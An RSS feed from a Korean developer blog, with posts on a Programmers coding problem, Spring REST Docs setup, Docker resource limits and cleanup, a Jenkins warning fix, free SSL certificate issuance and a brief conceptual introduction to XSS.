<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>layl__a.log</title>
        <link>https://velog.io/</link>
        <description></description>
        <lastBuildDate>Mon, 30 Sep 2024 06:14:45 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>layl__a.log</title>
            <url>https://velog.velcdn.com/images/layl__a/profile/3554f1c6-27a3-4f67-91dd-b239b9a30bdd/image.webp</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. layl__a.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/layl__a" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[프로그래머스] 오픈채팅방]]></title>
            <link>https://velog.io/@layl__a/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EC%98%A4%ED%94%88%EC%B1%84%ED%8C%85%EB%B0%A9</link>
            <guid>https://velog.io/@layl__a/%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%A8%B8%EC%8A%A4-%EC%98%A4%ED%94%88%EC%B1%84%ED%8C%85%EB%B0%A9</guid>
            <pubDate>Mon, 30 Sep 2024 06:14:45 GMT</pubDate>
            <description><![CDATA[<p>오픈채팅방
카카오톡 오픈채팅방에서는 친구가 아닌 사람들과 대화를 할 수 있는데, 본래 닉네임이 아닌 가상의 닉네임을 사용하여 채팅방에 들어갈 수 있다.</p>
<p>신입사원인 김크루는 카카오톡 오픈 채팅방을 개설한 사람을 위해, 다양한 사람들이 들어오고, 나가는 것을 지켜볼 수 있는 관리자창을 만들기로 했다. 채팅방에 누군가 들어오면 다음 메시지가 출력된다.</p>
<p>&quot;[닉네임]님이 들어왔습니다.&quot;</p>
<p>채팅방에서 누군가 나가면 다음 메시지가 출력된다.</p>
<p>&quot;[닉네임]님이 나갔습니다.&quot;</p>
<p>채팅방에서 닉네임을 변경하는 방법은 다음과 같이 두 가지이다.</p>
<p>채팅방을 나간 후, 새로운 닉네임으로 다시 들어간다.
채팅방에서 닉네임을 변경한다.
닉네임을 변경할 때는 기존에 채팅방에 출력되어 있던 메시지의 닉네임도 전부 변경된다.</p>
<p>예를 들어, 채팅방에 &quot;Muzi&quot;와 &quot;Prodo&quot;라는 닉네임을 사용하는 사람이 순서대로 들어오면 채팅방에는 다음과 같이 메시지가 출력된다.</p>
<p>&quot;Muzi님이 들어왔습니다.&quot;
&quot;Prodo님이 들어왔습니다.&quot;</p>
<p>채팅방에 있던 사람이 나가면 채팅방에는 다음과 같이 메시지가 남는다.</p>
<p>&quot;Muzi님이 들어왔습니다.&quot;
&quot;Prodo님이 들어왔습니다.&quot;
&quot;Muzi님이 나갔습니다.&quot;</p>
<p>Muzi가 나간후 다시 들어올 때, Prodo 라는 닉네임으로 들어올 경우 기존에 채팅방에 남아있던 Muzi도 Prodo로 다음과 같이 변경된다.</p>
<p>&quot;Prodo님이 들어왔습니다.&quot;
&quot;Prodo님이 들어왔습니다.&quot;
&quot;Prodo님이 나갔습니다.&quot;
&quot;Prodo님이 들어왔습니다.&quot;</p>
<p>채팅방은 중복 닉네임을 허용하기 때문에, 현재 채팅방에는 Prodo라는 닉네임을 사용하는 사람이 두 명이 있다. 이제, 채팅방에 두 번째로 들어왔던 Prodo가 Ryan으로 닉네임을 변경하면 채팅방 메시지는 다음과 같이 변경된다.</p>
<p>&quot;Prodo님이 들어왔습니다.&quot;
&quot;Ryan님이 들어왔습니다.&quot;
&quot;Prodo님이 나갔습니다.&quot;
&quot;Prodo님이 들어왔습니다.&quot;</p>
<p>채팅방에 들어오고 나가거나, 닉네임을 변경한 기록이 담긴 문자열 배열 record가 매개변수로 주어질 때, 모든 기록이 처리된 후, 최종적으로 방을 개설한 사람이 보게 되는 메시지를 문자열 배열 형태로 return 하도록 solution 함수를 완성하라.</p>
<p>제한사항
record는 다음과 같은 문자열이 담긴 배열이며, 길이는 1 이상 100,000 이하이다.
다음은 record에 담긴 문자열에 대한 설명이다.
모든 유저는 [유저 아이디]로 구분한다.
[유저 아이디] 사용자가 [닉네임]으로 채팅방에 입장 - &quot;Enter [유저 아이디] [닉네임]&quot; (ex. &quot;Enter uid1234 Muzi&quot;)
[유저 아이디] 사용자가 채팅방에서 퇴장 - &quot;Leave [유저 아이디]&quot; (ex. &quot;Leave uid1234&quot;)
[유저 아이디] 사용자가 닉네임을 [닉네임]으로 변경 - &quot;Change [유저 아이디] [닉네임]&quot; (ex. &quot;Change uid1234 Muzi&quot;)
첫 단어는 Enter, Leave, Change 중 하나이다.
각 단어는 공백으로 구분되어 있으며, 알파벳 대문자, 소문자, 숫자로만 이루어져있다.
유저 아이디와 닉네임은 알파벳 대문자, 소문자를 구별한다.
유저 아이디와 닉네임의 길이는 1 이상 10 이하이다.
채팅방에서 나간 유저가 닉네임을 변경하는 등 잘못 된 입력은 주어지지 않는다.
입출력 예
record    result
[&quot;Enter uid1234 Muzi&quot;, &quot;Enter uid4567 Prodo&quot;,&quot;Leave uid1234&quot;,&quot;Enter uid1234 Prodo&quot;,&quot;Change uid4567 Ryan&quot;]    [&quot;Prodo님이 들어왔습니다.&quot;, &quot;Ryan님이 들어왔습니다.&quot;, &quot;Prodo님이 나갔습니다.&quot;, &quot;Prodo님이 들어왔습니다.&quot;]
입출력 예 설명
입출력 예 #1
문제의 설명과 같다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Spring REST Docs를 적용해보자 1]]></title>
            <link>https://velog.io/@layl__a/Spring-REST-Docs%EB%A5%BC-%EC%A0%81%EC%9A%A9%ED%95%B4%EB%B3%B4%EC%9E%90</link>
            <guid>https://velog.io/@layl__a/Spring-REST-Docs%EB%A5%BC-%EC%A0%81%EC%9A%A9%ED%95%B4%EB%B3%B4%EC%9E%90</guid>
            <pubDate>Mon, 30 Sep 2024 00:08:03 GMT</pubDate>
            <description><![CDATA[<p>회사에서 Spring REST Docs를 적용해볼 수 있는 기회가 생길 수 있어서 미리 정리해보고자 공식 문서를 정리해봤다. 우선 정리부터 시작하지만 혼자 적용부터 회사에도 적용해 볼 수 있으면 좋겠다...</p>
<p><a href="https://docs.spring.io/spring-restdocs/docs/current/reference/htmlsingle/"><strong>Spring REST Docs 공식 문서를 번역하여 정리한 내용입니다.</strong></a></p>
<h3 id="----개요">•    개요</h3>
<p>Spring REST Docs는 RESTful API의 문서화를 자동화하고 정확성을 보장하는 도구다. </p>
<h3 id="----주요-특징">•    주요 특징</h3>
<ol>
<li>테스트 기반 문서화:
Spring MVC Test, WebFlux의 WebTestClient, 또는 REST Assured5를 사용한 테스트 코드에서 문서 스니펫을 생성한다.
이는 테스트 주도 개발(TDD)의 원칙을 문서화에도 적용한 것이다.</li>
<li>자동 생성 + 수동 작성의 결합: 
테스트에서 자동으로 생성된 스니펫과 개발자가 수동으로 작성한 문서를 결합한다.
이 방식은 문서의 정확성과 상세도를 모두 확보할 수 있게 해주는 장점이 있다.</li>
<li>유연한 출력 형식: 
기본적으로 Asciidoctor를 사용하여 HTML 문서를 생성한다.
필요에 따라 Markdown 사용도 가능하다.</li>
</ol>
<h3 id="----기술적-이점">•    기술적 이점</h3>
<ol>
<li>문서의 정확성 보장:
테스트가 실패하면 관련 스니펫 생성도 실패합니다. 이는 API의 변경사항이 즉시 문서에 반영됨을 의미한다. (실제 구현과 문서 간의 불일치를 방지)</li>
<li>구현과 문서의 분리: 
API의 내부 구현 세부사항이 아닌, 외부에 노출되는 인터페이스(HTTP 요청/응답)에 초점을 둔다. (사용자에게 필요한 정보만 제공하고 내부 구현 변경 시 문서 수정의 필요성을 줄임)</li>
<li>리소스 중심 문서화: 
RESTful 서비스의 각 리소스에 대해 HTTP 요청과 HTTP 응답을 중심으로 문서화한다. (REST 아키텍처의 원칙에 부합하는 문서화)</li>
</ol>
<h3 id="----개발-프로세스에-미치는-영향">•    개발 프로세스에 미치는 영향</h3>
<ol>
<li>테스트 코드 품질 향상
문서화를 위해 더 철저한 테스트 케이스 작성이 요구되므로, 전반적인 테스트 커버리지와 품질이 향상될 수 있다.</li>
<li>API 설계 개선: 
문서화 과정에서 API의 일관성, 사용성 등을 자연스럽게 검토하게 되어 전반적인 API 설계 품질이 향상될 수 있다.</li>
<li>지속적 통합/배포(CI/CD) 용이성: 
테스트 실행 시 자동으로 최신 문서가 생성되므로, CI/CD 파이프라인에 쉽게 통합할 수 있다.</li>
</ol>
<h3 id="----사용-시-고려사항">•    사용 시 고려사항</h3>
<ol>
<li>Asciidoctor 문법, 테스트 코드 작성 방식 등에 대한 지식이 필요할 수 있다.</li>
<li>초기 설정 복잡성:<br>프로젝트에 Spring REST Docs 통합하는 초기 설정이 다소 복잡하다.</li>
<li>테스트 실행 시간 증가: 
문서 생성을 위한 추가적인 테스트로 인해 전체 테스트 실행 시간이 증가할 수 있다.</li>
</ol>
<h2 id="구현-방법">구현 방법</h2>
<h3 id="----최소-요구-사항">•    최소 요구 사항</h3>
<pre><code>o    Java 17
o    Spring Framework 6
o    spring-restdocs-restassured 모듈은 REST Assured 5.2 필요</code></pre><h3 id="----빌드">•    빌드</h3>
<pre><code class="language-java">plugins{
    id &quot;org.asciidoctor.jvm.convert&quot; version &quot;3.3.2&quot;  // 1
}
configurations {
    asciidoctorExt  // 2
}

dependencies {
    asciidoctorExt &#39;org.springframework.restdocs:spring-restdocs-asciidoctor:{project-version}&#39;  // 3
    testImplementation &#39;org.springframework.restdocs:spring-restdocs-mockmvc:{project-version}&#39;  // 4
}

ext {
    snippetsDir = file(&#39;build/generated-snippets&#39;) // 5
}

test { // 6
    outputs.dir.snippetsDir 
}

asciidoctor { // 7
    inputs.dir snippetsDir // 8
    configurations &#39;asciidoctorExt&#39; // 9
    dependsOn test // 10
}


bootJar { // 11
    dependsOn asciidoctor // 12
    from (&quot;${asciidoctor.outputDir}/html5&quot;) { // 13
            into &#39;static/docs&#39; // 14
    }
}</code></pre>
<ol>
<li>Asciidoctor 플러그인 적용:
Asciidoctor를 사용하기 위한 기반</li>
<li>asciidoctorExt 구성 선언: 
Asciidoctor의 기능을 확장하는 플러그인이나 라이브러리 관리</li>
<li>spring-restdocs-asciidoctor 의존성 추가:
Spring REST Docs와 Asciidoctor 연동</li>
<li>spring-restdocs-mockmvc 의존성 추가:
MockMvc를 사용하여 API 테스트를 작성하고 문서화할 수 있다. 필요에 따라 WebTestClient나 REST Assured로 대체</li>
<li>snippetsDir 속성 구성: 
테스트 실행 시 생성되는 문서의 저장 </li>
<li>test 태스크 출력 설정:
Gradle이 테스트 실행 결과물(스니펫)의 위치를 인식하여 불필요한 재빌드를 방지한다.</li>
<li>asciidoctor 태스크 구성:
AsciiDoc 문서를 최종 출력 형식(ex.HTML)으로 변환하는 과정을 제어한다.</li>
<li>asciidoctor 태스크 입력 설정 
o    Gradle이 스니펫 디렉토리의 변경을 감지하여, 필요한 경우에만 문서를 재생성한다.</li>
<li>asciidoctorExt 구성 사용 설정: 
Spring REST Docs의 Asciidoctor 확장 기능 활성화</li>
<li>test 의존성 추가:
테스트 실행되게 하는 의존성</li>
<li>문서 패키징 추가: 
생성한 API문서를 프로젝트의 JAR 파일에 포함 시키는 설정 (jar 가 빌드 되기 전에 문서를 생성해야 함 / jar에 생성한 문서가 있어야 함)</li>
<li>bootJar가 실행되기 전에 asciidoctor가 먼저 실행되도록 의존성 설정</li>
<li>생성된 문서를 jar의 static/docs 디렉토리에 복사</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[docker 컨테이너의 환경 설정 ]]></title>
            <link>https://velog.io/@layl__a/docker-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88%EC%9D%98-%ED%99%98%EA%B2%BD-%EC%84%A4%EC%A0%95</link>
            <guid>https://velog.io/@layl__a/docker-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88%EC%9D%98-%ED%99%98%EA%B2%BD-%EC%84%A4%EC%A0%95</guid>
            <pubDate>Thu, 22 Jun 2023 13:29:08 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>docker 는 여러가지 설정을 항상 살펴가면서 진행해야하는 것 같다.... </p>
<h3 id="step-1-docker-전체-메모리-확인">step 1. docker 전체 메모리 확인</h3>
<pre><code>docker stats</code></pre><p><img src="https://velog.velcdn.com/images/layl__a/post/2ecc09f7-34a9-4d07-8dc2-4d4d17668c9e/image.png" alt=""></p>
<ul>
<li>컨테이너의 메모리를 확인할 수도 있다. 메모리 부분이 byte 단위이다.</li>
<li>참고로 제한하지 않고 컨테이너를 생성시에는 메모리 부분이 0이 나오게 된다. 
<img src="https://velog.velcdn.com/images/layl__a/post/a7de772e-efdc-4352-bae3-9224f415cf09/image.png" alt=""></li>
</ul>
<h3 id="step-2-swap-을-이용해-메모리-사용을-제한하기">step 2. swap 을 이용해 메모리 사용을 제한하기</h3>
<ul>
<li>컨테이너를 생성한 이후에도 메모리의 이용을 제한할 수 있다.  </li>
<li>하지만 실제 메모리와 맞지 않게 메모리를 할당하면 fail이 발생한다. <pre><code>docker update --memory 용량 --memory-swap 용량 컨테이너명</code></pre><img src="https://velog.velcdn.com/images/layl__a/post/2e79ea9f-0884-4ad1-80c7-6e5d393445df/image.png" alt=""></li>
</ul>
<ul>
<li>--cpus에 정수인 경우 CPU의 코어 갯수이고, 1 미만의 실수를 입력하면 비율로 정해진다.<pre><code>docker update --cpus=갯수(또는 비율) 컨테이너명</code></pre></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Jenkins 에러 : JENKINS-48300: if on a laggy filesystem 가 뜰 때 해결법]]></title>
            <link>https://velog.io/@layl__a/Jenkins-%EC%97%90%EB%9F%AC-JENKINS-48300-if-on-a-laggy-filesystem-%EA%B0%80-%EB%9C%B0-%EB%95%8C-%ED%95%B4%EA%B2%B0%EB%B2%95</link>
            <guid>https://velog.io/@layl__a/Jenkins-%EC%97%90%EB%9F%AC-JENKINS-48300-if-on-a-laggy-filesystem-%EA%B0%80-%EB%9C%B0-%EB%95%8C-%ED%95%B4%EA%B2%B0%EB%B2%95</guid>
            <pubDate>Thu, 22 Jun 2023 04:25:59 GMT</pubDate>
            <description><![CDATA[<h2 id="계기">계기</h2>
<hr>
<p>젠킨스를 다루는 와중에 거슬리게 뜨는 에러가 있었다.</p>
<blockquote>
<p>wrapper script does not seem to be touching the log file in /var/jenkins_home/workspace/HMG_1@tmp/durable-9c43a114
(JENKINS-48300: if on an extremely laggy filesystem, consider -Dorg.jenkinsci.plugins.durabletask.BourneShellScript.HEARTBEAT_CHECK_INTERVAL=86400)</p>
</blockquote>
<p>느린 파일 시스템으로 인해 생기는 오류와 관련이 있는 것 같다.</p>
<p>해결은 두 가지가 있다.</p>
<h2 id="option-1-파이프-라인에-추가">Option 1. 파이프 라인에 추가</h2>
<pre><code>script {
System.setProperty(&quot;org.jenkinsci.plugins.durabletask.BourneShellScript.HEARTBEAT_CHECK_INTERVAL&quot;, &quot;3800&quot;);
}
pipeline{
 // todo
}</code></pre><p>실행을 하면 
<strong>&quot;Administrators can decide whether to approve or reject this signature.&quot;</strong>
스크립트 승인의 보안 설정에서 스크립트를 승인하면 된다. </p>
<h2 id="option-2-jenkins-관리---스크립트-콘솔로-이동하여-실행">Option 2. Jenkins 관리 -&gt; 스크립트 콘솔로 이동하여 실행</h2>
<pre><code>System.setProperty(&quot;org.jenkinsci.plugins.durabletask.BourneShellScript.HEARTBEAT_CHECK_INTERVAL&quot;, &quot;3800&quot;);</code></pre><h3 id="reference">reference</h3>
<p><a href="https://stackoverflow.com/questions/50067372/where-to-set-dorg-jenkinsci-plugins-durabletask-bourneshellscript-heartbeat-che">stackoverflow</a></p>
<h2 id="-젠킨스-에러-팁">++ 젠킨스 에러 팁</h2>
<h2 id="build-queue-저장-공간-클리어---jenkins-관리---스크립트-콘솔로-이동하여-실행">build queue 저장 공간 클리어 -&gt; Jenkins 관리 -&gt; 스크립트 콘솔로 이동하여 실행</h2>
<pre><code>Jenkins.instance.queue.clear()</code></pre><h3 id="reference-1">reference</h3>
<p><a href="https://docs.cloudbees.com/docs/cloudbees-ci-kb/latest/client-and-managed-masters/how-can-i-purge-or-clean-the-build-queue">https://docs.cloudbees.com/docs/cloudbees-ci-kb/latest/client-and-managed-masters/how-can-i-purge-or-clean-the-build-queue</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[docker] 도커 허브에 push 하다가 생긴 에러 해결 (An image does not exist locally with the tag: hmgadmin/hmg)]]></title>
            <link>https://velog.io/@layl__a/docker-%EB%8F%84%EC%BB%A4-%ED%97%88%EB%B8%8C%EC%97%90-push-%ED%95%98%EB%8B%A4%EA%B0%80-%EC%83%9D%EA%B8%B4-%EC%97%90%EB%9F%AC-%ED%95%B4%EA%B2%B0-An-image-does-not-exist-locally-with-the-tag-hmgadminhmg</link>
            <guid>https://velog.io/@layl__a/docker-%EB%8F%84%EC%BB%A4-%ED%97%88%EB%B8%8C%EC%97%90-push-%ED%95%98%EB%8B%A4%EA%B0%80-%EC%83%9D%EA%B8%B4-%EC%97%90%EB%9F%AC-%ED%95%B4%EA%B2%B0-An-image-does-not-exist-locally-with-the-tag-hmgadminhmg</guid>
            <pubDate>Thu, 15 Jun 2023 06:07:31 GMT</pubDate>
            <description><![CDATA[<p>도커 이미지 push 하려던 중 에러가 발생했다.</p>
<blockquote>
<p>An image does not exist locally with the tag: hmgadmin/hmg</p>
</blockquote>
<p>docker hub에서 안내한 push 방법은 아래와 같았는데 내 로컬의 이미지명과 맞지 않아서 생긴 오류였다.
<img src="https://velog.velcdn.com/images/layl__a/post/35dcf628-5966-4397-9783-068a59a0201a/image.png" alt=""></p>
<blockquote>
<p>docker images
<img src="https://velog.velcdn.com/images/layl__a/post/fbbd8d06-2950-466d-983e-ab70c5f1541a/image.png" alt=""></p>
</blockquote>
<p>docker image tag를 활용해 이미지명을 변경한 후 실행했더니 해결되었다.</p>
<blockquote>
<p>docker image tag 
<img src="https://velog.velcdn.com/images/layl__a/post/be08c435-7218-427d-a8f8-6014801dd9e4/image.png" alt=""></p>
</blockquote>
<p>위 명령어 실행시 수정되는 것이 아닌 새로 만들어지는 것이었다.</p>
<p>마지막으로 push 하면 끝!</p>
<blockquote>
<p>docker push hmgadmin/hmg:0.1</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/layl__a/post/2afbec5c-3c57-4c42-aeee-4119ad75a5ef/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Docker] 디스크 용량 줄이는 방법]]></title>
            <link>https://velog.io/@layl__a/Docker-%EB%94%94%EC%8A%A4%ED%81%AC-%EC%9A%A9%EB%9F%89-%EC%A4%84%EC%9D%B4%EB%8A%94-%EB%B0%A9%EB%B2%95</link>
            <guid>https://velog.io/@layl__a/Docker-%EB%94%94%EC%8A%A4%ED%81%AC-%EC%9A%A9%EB%9F%89-%EC%A4%84%EC%9D%B4%EB%8A%94-%EB%B0%A9%EB%B2%95</guid>
            <pubDate>Tue, 13 Jun 2023 12:59:47 GMT</pubDate>
            <description><![CDATA[<p>우리 프로젝트에서 도커를 사용하다보니 점점 용량이 커지면서 뭐만 하면 용량부족으로 다운되곤 했다. 그래서 용량을 줄이고자 찾아봤다.</p>
<ul>
<li>디스크 용량 확인 방법<blockquote>
<p>df -h </p>
</blockquote>
</li>
</ul>
<p><img src="https://velog.velcdn.com/images/layl__a/post/850d5da0-e7c6-48a4-8878-733fbd92ecbb/image.png" alt=""></p>
<p>docker를 사용하다보면 하위 폴더에 다양한 임시 파일이나 이미지 컨테이너 관련들이 중복되면서 overlay2 폴더의 용량이 커진다고 한다. overray2 관련 자세한 내용은 아래에서 참고할 수 있다.
<a href="https://tech.kakaoenterprise.com/171">https://tech.kakaoenterprise.com/171</a></p>
<blockquote>
<p>docker system prune -a -f</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/layl__a/post/3662ca62-1386-4f83-bfc6-80158850a3cb/image.png" alt=""></p>
<p>-&gt; 정말 많이 사용하고 있음을 알 수 있다.</p>
<blockquote>
<p>sudo docker system prune -a -f </p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/layl__a/post/7b16ba76-ec54-4dc9-83be-6c5266258c6a/image.png" alt=""></p>
<blockquote>
<p>docker system prune -a -f</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/layl__a/post/f8107651-98a0-4aea-95da-896c49204d0b/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[SSLFORFREE 에서 무료 인증서 발급받기]]></title>
            <link>https://velog.io/@layl__a/SSLFORFREE-%EC%97%90%EC%84%9C-%EB%AC%B4%EB%A3%8C-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EB%B0%9C%EA%B8%89%EB%B0%9B%EA%B8%B0</link>
            <guid>https://velog.io/@layl__a/SSLFORFREE-%EC%97%90%EC%84%9C-%EB%AC%B4%EB%A3%8C-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EB%B0%9C%EA%B8%89%EB%B0%9B%EA%B8%B0</guid>
            <pubDate>Thu, 08 Jun 2023 05:43:51 GMT</pubDate>
            <description><![CDATA[<h2 id="발급-받게-된-이유">발급 받게 된 이유</h2>
<hr>
<p>사이드 프로젝트를 진행하다가 사이트의 보안이 안전하지 않다는 메세지가 떠서 HTTPS를 달아보기로 했다. 여러 사이트가 있지만 비용상 유료 SSL을 발급받기에는 여의치 않았고, 무료 SSL을 받을 수 있는 Let&#39;s Encrypt와 SSLFORFREE 중 후자를 선택했다. 전자는 Certbot을 이용하며 webserver에서 인증서를 발급받아야 하는데, 우리는 도메인 확인에서 인증오류가 나서 결국 후자를 시도해보게 되었다. </p>
<h2 id="도메인-발급">도메인 발급</h2>
<hr>
<p>우리는 도메인 발급을 호스팅케이알(<a href="https://www.hosting.kr/">https://www.hosting.kr/</a>) 에서 진행했다. 국내에서 굉장히 싸게 구입할 수 있고 도메인 적용도 발급 후 거의 바로 되기 때문에(일을 너무 잘함) 선택하게 되었다. 
도메인을 구입한 후 서버와 도메인을 등록하는 과정은 아래의 고객센터를 통해 해결했다.
<a href="https://help.hosting.kr/hc/ko/articles/5259561590809">DNS 레코드 설정 방법</a></p>
<h2 id="ssl-for-free">SSL FOR FREE</h2>
<hr>
<p>발급받은 호스팅케이알에서 SSL 인증서를 유료로 구매하면서 대행비도 지불하면 손쉽게 https 설정을 할 수 있었지만 굳이 있는 무료 SSL을 사용하지 않을 이유도 없기에 시간을 들여서라도 시도를 했다.</p>
<h3 id="step-1">Step 1</h3>
<p>일단 사이트로 이동한다.
<a href="https://www.sslforfree.com/">https://www.sslforfree.com/</a>
<img src="https://velog.velcdn.com/images/layl__a/post/2e183b89-4da3-4b02-b8a3-62686cad0ce8/image.png" alt=""></p>
<p>SSL 인증서를 받을 도메인 주소를 입력한후 Create Free SSL Certificate 버튼을 클릭한다. Sign Up 페이지가 뜨면 회원 가입을 완료한다. </p>
<p>와일드 카드 체크하는 버튼이 있는데, 이것은 PRO 버튼이 있어 유료라 스킵했다. 
여러가지 서비스를 연결 할 때 유용할 것 같지만 지금은 없어도 될 것 같다.</p>
<h3 id="step-2">Step 2</h3>
<p>도메인 주소 하나를 입력하면 자동으로 www 붙인 도메인도 생성된다. 
next Step 을 클릭한다. 
<img src="https://velog.velcdn.com/images/layl__a/post/5164282b-b08d-4bb4-80fe-9351af6d0939/image.png" alt=""></p>
<h3 id="step-3">Step 3</h3>
<p>90일 인증서와 1년 인증서가 있다. 1년 인증서는 PRO 마크가 붙어있어 유료지만 생각보다 90일이 짧아서 갱신을 해야한다는 단점이 있으나.. 무료이니까 선택한다. 90일마다 갱신하면 된다.
<img src="https://velog.velcdn.com/images/layl__a/post/45ec836b-c032-4abf-a8b4-529fb30c91ca/image.png" alt=""></p>
<h3 id="step-4">Step 4</h3>
<p>CSR 정보를 자동으로 생성할 건지 물어본다. 국가 코드, 도시, 회사명, 부서명, 이메일, 도메인 주소 등을 기록하는 건데 간편하게 자동으로 생성하도록 체크했다.
<img src="https://velog.velcdn.com/images/layl__a/post/9d160146-06f9-4210-a20b-fa9ca2bd7cb2/image.png" alt=""></p>
<h3 id="step-5">Step 5</h3>
<p>요금제는 Free로 체크한다.
<img src="https://velog.velcdn.com/images/layl__a/post/83dd2774-3dbd-4450-8597-a3d1a33723f3/image.png" alt=""></p>
<h3 id="step-6">Step 6</h3>
<p>Your certificate has been created and is ready for domain verification.
이제 도메인 인증할 준비가 완료되었다. 
방법은 세가지가 있다.</p>
<ol>
<li>이메일 인증</li>
<li>DNS(CNAME)</li>
<li>HTTP 파일 업로드</li>
</ol>
<p>나는 두번째 DNS(CNAME)을 선택했다. 다른 두 가지도 시도해보았는데, 이메일 인증은 운이 나쁘면 메일이 아주 늦게 왔다. 난 하루정도 뒤였는데, 이미 두 번째 방법으로 해결한 상태였다. 세 번째 방법은 http server로 들어가서 경로로 들어갈 수 있어야하는데 응답이 정상적으로 오지 않아서 애먹었다. </p>
<p>DNS(CNAME)을 클릭 후 CNAME 레코드를 별도로 메모(복사)해둔다. 다음 스텝을 진행한다.
<img src="https://velog.velcdn.com/images/layl__a/post/becd0a43-7e44-4c91-ba09-ea3a8c4840fb/image.png" alt=""></p>
<ol>
<li>도메인 등록기관인 hosting.kr에 로그인한다.</li>
<li>DNS 레코드가 관리되는 툴 페이지로 이동한다.</li>
<li>다음 CNAME 레코드를 추가한다.<h4 id="유형타입-cname-선택-호스팅케이알에서-지원하는-dns-레코드-유형">유형(타입): CNAME 선택 (<a href="https://help.hosting.kr/hc/ko/articles/5733494307737">호스팅케이알에서 지원하는 DNS 레코드 유형</a>)</h4>
<h4 id="이름호스트_6fcac">이름(호스트):_6FCAC....</h4>
<h4 id="값포인트-esc23">값(포인트): ESC23.......</h4>
<h4 id="ttl-전파시간으로-3600이하로만-설정하면-괜찮다">TTL: 전파시간으로 3600(이하)로만 설정하면 괜찮다.</h4>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/layl__a/post/247ba157-c653-42d8-895a-5df3cb9f2e04/image.png" alt=""></p>
<p>나는 처음에 제대로 넣었는데 계속해서 인증이 안된다고 나와서 이유를 찾아봤다.
zerossl.com이 설명을 제대로 안넣어준 건 맞는데 troubleshooting에 가보니 해결 방법이 나와있었다.</p>
<p>한 마디로, Name 값에 나와있는 .도메인.com 부분까지 포함되어서 생기는 이슈인 것이다. 뒤에 거를 빼고 앞에거를 넣으니 인증서 발급에 성공했다.
<img src="https://velog.velcdn.com/images/layl__a/post/f16e0f12-5493-4608-a5d3-7e8abf1f2f8c/image.png" alt=""></p>
<p>이제 인증서를 사용할 준비가 끝났다!
<img src="https://velog.velcdn.com/images/layl__a/post/cb16546b-001a-4ca5-ab23-ff77ee244585/image.png" alt=""></p>
<h4 id="다음시간에는-인증서를-적용하고-nginxconf-설정을-통해-http로-접속시-https-로-연결되도록-하는-과정을-정리해보겠다">다음시간에는 인증서를 적용하고, nginx.conf 설정을 통해 http로 접속시 https 로 연결되도록 하는 과정을 정리해보겠다.</h4>
<p><strong>Reference</strong></p>
<ul>
<li><a href="https://www.sslforfree.com">https://www.sslforfree.com</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[혼공] XSS 란 무엇인지 예시로 살펴보자]]></title>
            <link>https://velog.io/@layl__a/%ED%98%BC%EA%B3%B5-XSS-%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EC%A7%80-%EC%98%88%EC%8B%9C%EB%A1%9C-%EC%82%B4%ED%8E%B4%EB%B3%B4%EC%9E%90</link>
            <guid>https://velog.io/@layl__a/%ED%98%BC%EA%B3%B5-XSS-%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EC%A7%80-%EC%98%88%EC%8B%9C%EB%A1%9C-%EC%82%B4%ED%8E%B4%EB%B3%B4%EC%9E%90</guid>
            <pubDate>Thu, 27 Apr 2023 12:08:11 GMT</pubDate>
            <description><![CDATA[<h2 id="공부하게-된-이유">공부하게 된 이유</h2>
<hr>
<p><a href="https://learn.dreamhack.io/173%5B%EB%A7%81%ED%81%AC%ED%85%8D%EC%8A%A4%ED%8A%B8%5D(https://learn.dreamhack.io/173)">https://learn.dreamhack.io/173[링크텍스트](https://learn.dreamhack.io/173)</a>
기술 면접 준비를 위해 CS 공부를 해야하는데 친오빠가 dreamhack이라는 사이트에서 공부해보라며 추천해줬다. </p>
<h2 id="들어가며">들어가며</h2>
<hr>
<p>클라이언트 사이드 취약점이란 웹 페이지 이용자를 대상으로 공격할 수 있는 취약점이다. 이 취약점을 통해 공격자가 악의적인 목적으로 세션 및 쿠키 정보를 탈취하고 사용자의 웹 브라우저에 악성 코드를 삽입하거나, 사용자의 개인정보를 탈취하거나, 서비스의 비정상적인 동작을 유도하는 등의 공격 할 수 있다.</p>
<p> 이번에는 클라이언트 사이드 취약점의 대표적인 공격인 <strong>Cross Site Scripting(XSS)</strong> 의 종류와 어떤 상황에서 발생 할 수 있는지, 이 공격이 어떻게 활용되는지를 알아보자.</p>
<blockquote>
</blockquote>
<p> Cross Site Scripting의 약어가 XSS인 이유
 약어는 CSS가 맞지만, 스타일 시트를 정의하는 언어인 CSS와 혼동되어 사용될 수 있기 때문에 XSS로 명명되었다.</p>
<h2 id="xss-이란">XSS 이란?</h2>
<hr>
<p> XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/layl__a/post/6bb871fd-9462-4ab1-809b-bfaae21f5e57/image.png" alt=""></p>
